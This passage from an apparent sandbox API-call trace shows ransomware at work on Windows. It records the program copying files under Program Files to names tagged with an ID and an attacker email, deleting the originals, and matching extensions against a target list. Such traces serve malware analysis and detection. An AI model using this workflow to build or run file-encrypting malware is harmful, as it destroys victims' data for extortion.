dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0046.383] GetLastError () returned 0x0 [0046.385] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x6c9, lpOverlapped=0x0) returned 1 [0046.410] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0046.411] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.411] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.411] SetEndOfFile (hFile=0x1ac) returned 1 [0046.411] CloseHandle (hObject=0x1ac) returned 1 [0046.411] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.411] SetEndOfFile (hFile=0x194) returned 1 [0046.412] CloseHandle (hObject=0x194) returned 1 [0046.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.412] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0046.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0046.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0046.413] lstrlenW (lpString=".doc") returned 4 [0046.413] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.413] lstrlenW (lpString=".docx") returned 5 [0046.413] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.413] lstrlenW (lpString=".pdf") returned 4 [0046.413] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.413] lstrlenW (lpString=".xls") returned 4 [0046.413] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.413] lstrlenW (lpString=".xlsx") returned 5 [0046.413] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.413] lstrlenW (lpString=".ppt") returned 4 [0046.413] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0046.413] lstrlenW (lpString=".zip") returned 4 [0046.413] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.413] lstrlenW (lpString=".rar") returned 4 [0046.413] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.413] lstrlenW (lpString=".bz2") returned 4 [0046.413] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.413] lstrlenW (lpString=".7z") returned 3 [0046.413] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0046.413] lstrlenW (lpString=".dbf") returned 4 [0046.413] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0046.413] lstrlenW (lpString=".1cd") returned 4 [0046.413] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0046.413] lstrlenW (lpString=".jpg") returned 4 [0046.414] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.414] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.414] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0046.705] GetLastError () returned 0x0 [0046.705] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xa6c, lpOverlapped=0x0) returned 1 [0046.730] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xa70, lpOverlapped=0x0) returned 1 [0046.732] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.732] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.732] SetEndOfFile (hFile=0x1d8) returned 1 [0046.732] CloseHandle (hObject=0x1d8) returned 1 [0046.732] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.732] SetEndOfFile (hFile=0x194) returned 1 [0046.733] CloseHandle (hObject=0x194) returned 1 [0046.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.733] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0046.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0046.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0046.733] lstrlenW (lpString=".doc") returned 4 [0046.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.733] lstrlenW (lpString=".docx") returned 5 [0046.733] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.733] lstrlenW (lpString=".pdf") returned 4 [0046.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.734] lstrlenW (lpString=".xls") returned 4 [0046.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.734] lstrlenW (lpString=".xlsx") returned 5 [0046.734] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.734] lstrlenW (lpString=".ppt") returned 4 [0046.734] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0046.734] lstrlenW (lpString=".zip") returned 4 [0046.734] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.734] lstrlenW (lpString=".rar") returned 4 [0046.734] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.734] lstrlenW (lpString=".bz2") returned 4 [0046.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.734] lstrlenW (lpString=".7z") returned 3 [0046.734] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0046.735] lstrlenW (lpString=".dbf") returned 4 [0046.735] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0046.735] lstrlenW (lpString=".1cd") returned 4 [0046.735] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0046.735] lstrlenW (lpString=".jpg") returned 4 [0046.735] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.748] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.748] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0046.748] GetLastError () returned 0x0 [0046.748] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2cc, lpOverlapped=0x0) returned 1 [0046.931] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0046.932] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.932] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0046.932] SetEndOfFile (hFile=0x1d8) returned 1 [0046.933] CloseHandle (hObject=0x1d8) returned 1 [0046.933] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.933] SetEndOfFile (hFile=0x194) returned 1 [0046.934] CloseHandle (hObject=0x194) returned 1 [0046.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0046.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0046.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0046.934] lstrlenW (lpString=".doc") returned 4 [0046.934] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0046.934] lstrlenW (lpString=".docx") returned 5 [0046.934] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0046.934] lstrlenW (lpString=".pdf") returned 4 [0046.934] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0046.934] lstrlenW (lpString=".xls") returned 4 [0046.934] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0046.934] lstrlenW (lpString=".xlsx") returned 5 [0046.934] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0046.935] lstrlenW (lpString=".ppt") returned 4 [0046.935] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0046.935] lstrlenW (lpString=".zip") returned 4 [0046.935] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0046.935] lstrlenW (lpString=".rar") returned 4 [0046.935] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0046.935] lstrlenW (lpString=".bz2") returned 4 [0046.935] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0046.935] lstrlenW (lpString=".7z") returned 3 [0046.935] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0046.935] lstrlenW (lpString=".dbf") returned 4 [0046.935] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0046.935] lstrlenW (lpString=".1cd") returned 4 [0046.935] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0046.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0046.935] lstrlenW (lpString=".jpg") returned 4 [0046.935] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0046.947] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.948] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.948] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0046.948] GetLastError () returned 0x0 [0046.948] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xae, lpOverlapped=0x0) returned 1 [0046.949] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xb0, lpOverlapped=0x0) returned 1 [0046.949] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.949] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.950] SetEndOfFile (hFile=0x1d8) returned 1 [0046.950] CloseHandle (hObject=0x1d8) returned 1 [0046.950] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.950] SetEndOfFile (hFile=0x194) returned 1 [0046.951] CloseHandle (hObject=0x194) returned 1 [0046.951] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x26) returned 1 [0046.951] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0046.951] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.951] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.951] lstrlenW (lpString=".doc") returned 4 [0046.951] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0046.951] lstrlenW (lpString=".docx") returned 5 [0046.951] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0046.951] lstrlenW (lpString=".pdf") returned 4 [0046.951] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0046.951] lstrlenW (lpString=".xls") returned 4 [0046.952] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0046.952] lstrlenW (lpString=".xlsx") returned 5 [0046.952] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0046.952] lstrlenW (lpString=".ppt") returned 4 [0046.952] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0046.952] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.952] lstrlenW (lpString=".zip") returned 4 [0046.952] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0046.952] lstrlenW (lpString=".rar") returned 4 [0046.952] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0046.952] lstrlenW (lpString=".bz2") returned 4 [0046.952] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0046.952] lstrlenW (lpString=".7z") returned 3 [0046.952] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0046.952] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.952] lstrlenW (lpString=".dbf") returned 4 [0046.952] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0046.952] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.952] lstrlenW (lpString=".1cd") returned 4 [0046.952] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0046.952] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0046.952] lstrlenW (lpString=".jpg") returned 4 [0046.952] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0047.057] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0047.057] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0047.057] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0047.057] lstrlenW (lpString=".doc") returned 4 [0047.057] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0047.057] lstrlenW (lpString=".docx") returned 5 [0047.057] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0047.057] lstrlenW (lpString=".pdf") returned 4 [0047.057] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0047.057] lstrlenW (lpString=".xls") returned 4 [0047.057] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0047.057] lstrlenW (lpString=".xlsx") returned 5 [0047.057] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0047.057] lstrlenW (lpString=".ppt") returned 4 [0047.057] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0047.057] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0047.057] lstrlenW (lpString=".zip") returned 4 [0047.057] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0047.057] lstrlenW (lpString=".rar") returned 4 [0047.057] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0047.057] lstrlenW (lpString=".bz2") returned 4 [0047.057] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0047.057] lstrlenW (lpString=".7z") returned 3 [0047.057] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0047.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0047.058] lstrlenW (lpString=".dbf") returned 4 [0047.058] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0047.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0047.058] lstrlenW (lpString=".1cd") returned 4 [0047.058] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0047.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0047.058] lstrlenW (lpString=".jpg") returned 4 [0047.058] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0047.058] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0047.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0047.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0047.058] lstrlenW (lpString=".doc") returned 4 [0047.058] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0047.058] lstrlenW (lpString=".docx") returned 5 [0047.058] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0047.058] lstrlenW (lpString=".pdf") returned 4 [0047.058] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0047.058] lstrlenW (lpString=".xls") returned 4 [0047.058] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0047.058] lstrlenW (lpString=".xlsx") returned 5 [0047.058] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0047.058] lstrlenW (lpString=".ppt") returned 4 [0047.058] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0047.059] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0047.059] lstrlenW (lpString=".zip") returned 4 [0047.059] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0047.059] lstrlenW (lpString=".rar") returned 4 [0047.059] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0047.059] lstrlenW (lpString=".bz2") returned 4 [0047.059] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0047.059] lstrlenW (lpString=".7z") returned 3 [0047.059] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0047.059] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0047.059] lstrlenW (lpString=".dbf") returned 4 [0047.059] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0047.059] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0047.059] lstrlenW (lpString=".1cd") returned 4 [0047.059] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0047.059] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0047.059] lstrlenW (lpString=".jpg") returned 4 [0047.059] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0048.472] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.479] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.496] GetLastError () returned 0x0 [0048.515] ReadFile (in: hFile=0x1f8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7d92, lpOverlapped=0x0) returned 1 [0048.517] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0048.518] ReadFile (in: hFile=0x1f8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.518] WriteFile (in: hFile=0x1f0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.518] SetEndOfFile (hFile=0x1f0) returned 1 [0048.519] CloseHandle (hObject=0x1f0) returned 1 [0048.519] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.519] SetEndOfFile (hFile=0x1f8) returned 1 [0048.520] CloseHandle (hObject=0x1f8) returned 1 [0048.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program 